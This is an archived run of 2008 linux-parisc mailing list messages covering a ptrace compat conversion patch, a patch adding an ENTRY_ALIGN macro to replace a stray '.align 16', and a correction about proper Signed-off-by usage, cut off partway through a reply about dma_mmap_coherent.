> -		 * interrupts while the recovery counter is decrementing.
> -		 */
> -		pa_psw(child)->r = 1;
> -		pa_psw(child)->t = 0;
> -		pa_psw(child)->h = 0;
> -		pa_psw(child)->l = 0;
> -		/* give it a chance to run. */
> -		goto out_wake;
> -
> -	case PTRACE_GETEVENTMSG:
> -                ret = put_user(child->ptrace_message, (unsigned int __user *) data);
> -		goto out_tsk;
> +		break;
>  
>  	default:
> -		ret = ptrace_request(child, request, addr, data);
> -		goto out_tsk;
> +		ret = compat_ptrace_request(child, request, addr, data);
> +		break;
>  	}
>  
> -out_wake_notrap:
> -	ptrace_disable(child);
> -out_wake:
> -	wake_up_process(child);
> -	ret = 0;
> -out_tsk:
> -	DBG("arch_ptrace(%ld, %d, %lx, %lx) returning %ld\n",
> -		request, pid, oaddr, odata, ret);
>  	return ret;
>  }
> +#endif
> +
>  
>  void syscall_trace(void)
>  {
> diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
> index 6b5ac38..e719f27 100644
> --- a/arch/parisc/kernel/syscall_table.S
> +++ b/arch/parisc/kernel/syscall_table.S
> @@ -87,7 +87,7 @@
>  	ENTRY_SAME(setuid)
>  	ENTRY_SAME(getuid)
>  	ENTRY_COMP(stime)		/* 25 */
> -	ENTRY_SAME(ptrace)
> +	ENTRY_COMP(ptrace)
>  	ENTRY_SAME(alarm)
>  	/* see stat comment */
>  	ENTRY_COMP(newfstat)
---end quoted text---
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] compat_sys_ptrace conversions for parisc
Date: Mon, 25 Aug 2008 13:11:03 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20080825171103.GB28485@phobos.i.cabal.ca>
References: <200808242026.06295.deller@gmx.de> <200808242033.25481.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219684275 31338 80.91.229.12 (25 Aug 2008 17:11:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Aug 2008 17:11:15 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Christoph Hellwig <hch@lst.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 25 19:12:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXfbq-0003Er-Pz
	for glpp-linux-parisc@gmane.org; Mon, 25 Aug 2008 19:12:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753129AbYHYRLG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Aug 2008 13:11:06 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753752AbYHYRLG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 25 Aug 2008 13:11:06 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:44447 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753129AbYHYRLF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Aug 2008 13:11:05 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 34229178062; Mon, 25 Aug 2008 13:11:03 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200808242033.25481.deller@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:669
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/669>

On Sun, Aug 24, 2008 at 08:33:25PM +0200, Helge Deller wrote:
> This patch does the compat_sys_ptrace conversion for parisc.
> In addition it does convert the parisc ptrace code to use the
> architecture-independent ptrace infrastructure instead of own coding.
> 

This sounds like it should be two seperate patches, for at least the
reason of making bisecting easier should there be a problem.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] compat_sys_ptrace conversions for parisc
Date: Mon, 25 Aug 2008 19:49:35 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <48B2F0AF.3020005@gmx.de>
References: <200808242026.06295.deller@gmx.de> <200808242033.25481.deller@gmx.de> <20080825171103.GB28485@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219686598 8259 80.91.229.12 (25 Aug 2008 17:49:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Aug 2008 17:49:58 +0000 (UTC)
To: Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 25 19:50:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXgDA-0005Gf-Tg
	for glpp-linux-parisc@gmane.org; Mon, 25 Aug 2008 19:50:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753468AbYHYRtj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 25 Aug 2008 13:49:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752835AbYHYRtj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 25 Aug 2008 13:49:39 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60686 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1754347AbYHYRti (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 25 Aug 2008 13:49:38 -0400
Original-Received: (qmail invoked by alias); 25 Aug 2008 17:49:36 -0000
Original-Received: from mnhm-590f6793.pool.einsundeins.de (EHLO halden.box) [89.15.103.147]
  by mail.gmx.net (mp014) with SMTP; 25 Aug 2008 19:49:36 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX185qGUaT5Q5/Fxh2uRkuVr/tOw6idgHlaRJUYHM+h
	X3a98xM9Ealo8a
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080825171103.GB28485@phobos.i.cabal.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6899999999999999
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:670
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/670>

Hi Kyle, Hi Christoph,

Kyle McMartin wrote:
> On Sun, Aug 24, 2008 at 08:33:25PM +0200, Helge Deller wrote:
>> This patch does the compat_sys_ptrace conversion for parisc.
>> In addition it does convert the parisc ptrace code to use the
>> architecture-independent ptrace infrastructure instead of own coding.

Both of you said someting like this:

> This sounds like it should be two seperate patches, for at least the
> reason of making bisecting easier should there be a problem.

I agree that my comment suggests that splitting the patch into two parts 
could make sense to track the changes easier, but if you look into the 
original code you'll see, that I would need to duplicate all of the 
arch_ptrace code and then make the copied part 64bit-ready. Then the 
second patch would delete all of this again and replacing it with the 
generic function calls.
IMHO that's a lot of coding and changes without any need. You'll first 
need to understand coding in my first patch which is then deleted 
afterwards with the second patch again. And if you look at the final 
ptrace.c file after applying my patch which I posted here, you'll see 
that arch_ptrace is now really small and simple to understand.

That said, I'm not very motivated to split my patch.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Mon, 25 Aug 2008 22:26:19 -0600
Lines: 94
Approved: news@gmane.org
Message-ID: <20080826042619.GB30449@colo.lackof.org>
References: <200808242026.06295.deller@gmx.de> <200808242051.12202.deller@gmx.de> <1219604258.4550.3.camel@localhost.localdomain> <48B2A62C.2060001@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1219724827 5478 80.91.229.12 (26 Aug 2008 04:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 04:27:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 06:27:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXq9X-0003SA-Cp
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 06:27:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750863AbYHZE0d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 00:26:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750896AbYHZE0d
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 00:26:33 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60862 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750863AbYHZE0c (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 00:26:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 26DD26F8048;
	Mon, 25 Aug 2008 22:26:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04488-08; Mon, 25 Aug 2008 22:26:19 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 92DCE300036; Mon, 25 Aug 2008 22:26:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <48B2A62C.2060001@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:671
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/671>

On Mon, Aug 25, 2008 at 02:31:40PM +0200, Helge Deller wrote:
> James Bottomley wrote:
>> On Sun, 2008-08-24 at 20:51 +0200, Helge Deller wrote:
>>> This .align 16 is misplaced and should be in front of the 
>>> ENTRY(lws_lock_start).
>>> Works because of pure luck since we have a .align PAGE_SIZE before it 
>>> instead.
>>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>
>>> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
>>> index 69b6eeb..c6ff81f 100644
>>> --- a/arch/parisc/kernel/syscall.S
>>> +++ b/arch/parisc/kernel/syscall.S
>>> @@ -640,7 +640,6 @@ END(sys_call_table64)
>>>  	.align	PAGE_SIZE
>>>  ENTRY(lws_lock_start)
>>>  	/* lws locks */
>>> -	.align 16
>>>  	.rept 16
>>>  	/* Keep locks aligned at 16-bytes */
>>>  	.word 1
>> I think I'd really rather keep this.  It may be technically superfluous
>> because of the .align PAGE_SIZE above it, but that belongs to the
>> syscall table.  
>
>> If anyone ever moved this section in head.S, the align
>> 16 ensures nothing goes wrong.
>
> Hi James,
>
> If the block is moved, then that's exactly what this .align does not 
> ensure.
> We had this discussion already here on the list. Please read the full 
> thread: http://marc.info/?t=121554765000005&r=1&w=2

Helge,
Thanks for tracking and resubmitting this...Carlos already ACK'd and I think
it would be good if kyle added it to his patch queue.

But I liked two other things proposed in this thread.
1) jejb's preference to document the alignement requirement 
2) jda's proposal for ENTRY_ALIGN() (which accomplishes (1))

So I've hacked your patch to include those two things.

I've only build-tested this for 64-bit builds.

thanks,
grant

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Grant Grundler <grundler@parisc-linux.org>


diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 69b6eeb..faf8b37 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -638,11 +638,10 @@ END(sys_call_table64)
 	*/
 	.section .data
 	.align	PAGE_SIZE
-ENTRY(lws_lock_start)
+
+ENTRY_ALIGN(lws_lock_start,16)
 	/* lws locks */
-	.align 16
 	.rept 16
-	/* Keep locks aligned at 16-bytes */
 	.word 1
 	.word 0 
 	.word 0
diff --git a/include/asm-parisc/linkage.h b/include/asm-parisc/linkage.h
index 0b19a72..2c6cbe2 100644
--- a/include/asm-parisc/linkage.h
+++ b/include/asm-parisc/linkage.h
@@ -17,6 +17,11 @@
 	ALIGN !\
 name:
 
+#define ENTRY_ALIGN(name,alignval) \
+	.export name !\
+	.align alignval !\
+name:
+
 #ifdef CONFIG_64BIT
 #define ENDPROC(name) \
 	END(name)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Tue, 26 Aug 2008 08:42:10 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440808260542i28772da4x89c1f98d8a28d710@mail.gmail.com>
References: <200808242026.06295.deller@gmx.de>
	 <200808242051.12202.deller@gmx.de>
	 <1219604258.4550.3.camel@localhost.localdomain>
	 <48B2A62C.2060001@gmx.de> <20080826042619.GB30449@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219754556 15688 80.91.229.12 (26 Aug 2008 12:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 12:42:36 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
	"James Bottomley" <James.Bottomley@hansenpartnership.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Kyle McMartin" <kyle@mcmartin.ca>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 14:43:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXxtG-00034G-Ff
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 14:43:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754664AbYHZMmN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 08:42:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755024AbYHZMmN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 08:42:13 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.224]:23299 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755006AbYHZMmL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 08:42:11 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so1677577wri.5
        for <linux-parisc@vger.kernel.org>; Tue, 26 Aug 2008 05:42:11 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=Gf5wHlx7K/3j7PM+QVcSgJfImsazhgTJcsJgQ7WhGe8=;
        b=BEK5EusbMoQo6gSXwx+ouUQLwaeX5QmcXtk5ecZvyG0g8cmSACv5lvrwjLjrBEE+9w
         w/3452yKBY121+a0tXp3tG8qDThejoVhm1jvDaKHbLjEO9mX/WEIZJYkY6oB3gljuSQb
         BS/2fN8Tz1ABjKVpTNqi1K0ExoYYmrPXK7yAk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=wIWyTLgoM81sgFFYnjHsXtlLjKLF5snIM06NaSU5ZyDmyf6C35V6CKYvxnYlxsnzoe
         KtMU6h5pGJJmCAOIn0tL5eri2mMt1gX+DaOjlv2Y+jlnxF0rko26OQJ6YitBIKIFgWE1
         Zak8bFJvmKovAZ/WWm4991AELzPVfQvmiYaXI=
Original-Received: by 10.90.118.19 with SMTP id q19mr7057757agc.62.1219754530752;
        Tue, 26 Aug 2008 05:42:10 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Tue, 26 Aug 2008 05:42:10 -0700 (PDT)
In-Reply-To: <20080826042619.GB30449@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: c1d9f175facdb734
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/672>

On Tue, Aug 26, 2008 at 12:26 AM, Grant Grundler
<grundler@parisc-linux.org> wrote:
> Thanks for tracking and resubmitting this...Carlos already ACK'd and I think
> it would be good if kyle added it to his patch queue.
>
> But I liked two other things proposed in this thread.
> 1) jejb's preference to document the alignement requirement
> 2) jda's proposal for ENTRY_ALIGN() (which accomplishes (1))
>
> So I've hacked your patch to include those two things.
>
> I've only build-tested this for 64-bit builds.
>
> thanks,
> grant
>
> Signed-off-by: Helge Deller <deller@gmx.de>
> Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

I agree with both Helge's original patch and this one. Thanks for
making an ENTRY_ALIGN macro. The macro keeps the symbol and alignment
together. Well done.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] drop superfluous .align 16
Date: Tue, 26 Aug 2008 09:10:28 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <1219759828.3341.6.camel@localhost.localdomain>
References: <200808242026.06295.deller@gmx.de>
	 <200808242051.12202.deller@gmx.de>
	 <1219604258.4550.3.camel@localhost.localdomain> <48B2A62C.2060001@gmx.de>
	 <20080826042619.GB30449@colo.lackof.org>
	 <119aab440808260542i28772da4x89c1f98d8a28d710@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1219759924 5512 80.91.229.12 (26 Aug 2008 14:12:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 14:12:04 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 16:12:54 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KXzGf-0004mn-3Q
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 16:11:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753913AbYHZOKc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 10:10:32 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754161AbYHZOKc
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 10:10:32 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:54704 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753913AbYHZOKb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 10:10:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id DB8788045;
	Tue, 26 Aug 2008 09:10:29 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id XPbGIn2l+cb8; Tue, 26 Aug 2008 09:10:28 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4A0F68037;
	Tue, 26 Aug 2008 09:10:28 -0500 (CDT)
In-Reply-To: <119aab440808260542i28772da4x89c1f98d8a28d710@mail.gmail.com>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:673
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/673>

On Tue, 2008-08-26 at 08:42 -0400, Carlos O'Donell wrote:
> On Tue, Aug 26, 2008 at 12:26 AM, Grant Grundler
> <grundler@parisc-linux.org> wrote:
> > Thanks for tracking and resubmitting this...Carlos already ACK'd and I think
> > it would be good if kyle added it to his patch queue.
> >
> > But I liked two other things proposed in this thread.
> > 1) jejb's preference to document the alignement requirement
> > 2) jda's proposal for ENTRY_ALIGN() (which accomplishes (1))
> >
> > So I've hacked your patch to include those two things.
> >
> > I've only build-tested this for 64-bit builds.
> >
> > thanks,
> > grant
> >
> > Signed-off-by: Helge Deller <deller@gmx.de>
> > Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

Can we get this right, please ... we'll get into awful penguin trouble
if he catches us misusing the DCO:

> Signed-off-by: Carlos O'Donell <carlos@systemhalted.org>

That's not signed off by you.  You only get to add a signed-off-by if
the patch physically passes through your hands.  That means that Grant's
above is correct because he modified the patch and resent it, but yours
isn't because you did nothing with it (and you didn't pass it on).

You can add Acked-by: if you like (that usually means I'm the person in
charge of the relevant code and I approved sending it through someone
else's tree) or Reviewed-by: (I actually looked through the patch and it
seems to be fine to me).

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH] mips: Add dma_mmap_coherent()
Date: Tue, 26 Aug 2008 17:25:24 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <s5hej4blrx7.wl%tiwai@suse.de>
References: <K6047O$07C3A675C0E02FC7BE973C0D5DEF9AAA@scarlet.be>
	<s5hy72pmefh.wl%tiwai@suse.de>
	<48B0678E.9010208@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1219764350 23064 80.91.229.12 (26 Aug 2008 15:25:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Aug 2008 15:25:50 +0000 (UTC)
Cc: "James.Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-mips <linux-mips@linux-mips.org>,
	ralf <ralf@linux-mips.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 26 17:26:34 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KY0RB-00058o-VY
	for glpp-linux-parisc@gmane.org; Tue, 26 Aug 2008 17:26:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754161AbYHZPZ3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Aug 2008 11:25:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754322AbYHZPZ3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 26 Aug 2008 11:25:29 -0400
Original-Received: from ns2.suse.de ([195.135.220.15]:57055 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754161AbYHZPZ2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Aug 2008 11:25:28 -0400
Original-Received: from Relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx2.suse.de (Postfix) with ESMTP id C43D6461CA;
	Tue, 26 Aug 2008 17:25:27 +0200 (CEST)
In-Reply-To: <48B0678E.9010208@scarlet.be>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.2
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:674 gmane.linux.ports.mips.general:21393
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/674>

At Sat, 23 Aug 2008 19:39:58 +0000,
Joel Soete wrote:
> 
> Hello Takashi,
> 
> Takashi Iwai wrote:
> > At Fri, 22 Aug 2008 13:04:36 +0100,
> > Joel Soete wrote:
> >> Hello Takashi et al.,
> > ...
> >> I build and boot successfully kernel 32bit including your patch on 2 systems
> >> (a b2k using sba and a d380 using ccio).
> > 
> > Thanks for testing!
> > 
> welcome ;-)
> 
> >> I just noticed that the above code is ~ the same; otoh there is also a
> >> iommu-helpers.h containing also common code to those 2 drivers. So may be for
> >> easiest maintenance, could you merge and move this code in this 'helper' as
> >> follow:
> >> --- ./drivers/parisc/iommu-helpers.h.Orig	2008-08-01 12:57:22.000000000 +0000
> >> +++ ./drivers/parisc/iommu-helpers.h	2008-08-22 08:07:26.000000000 +0000
> > 
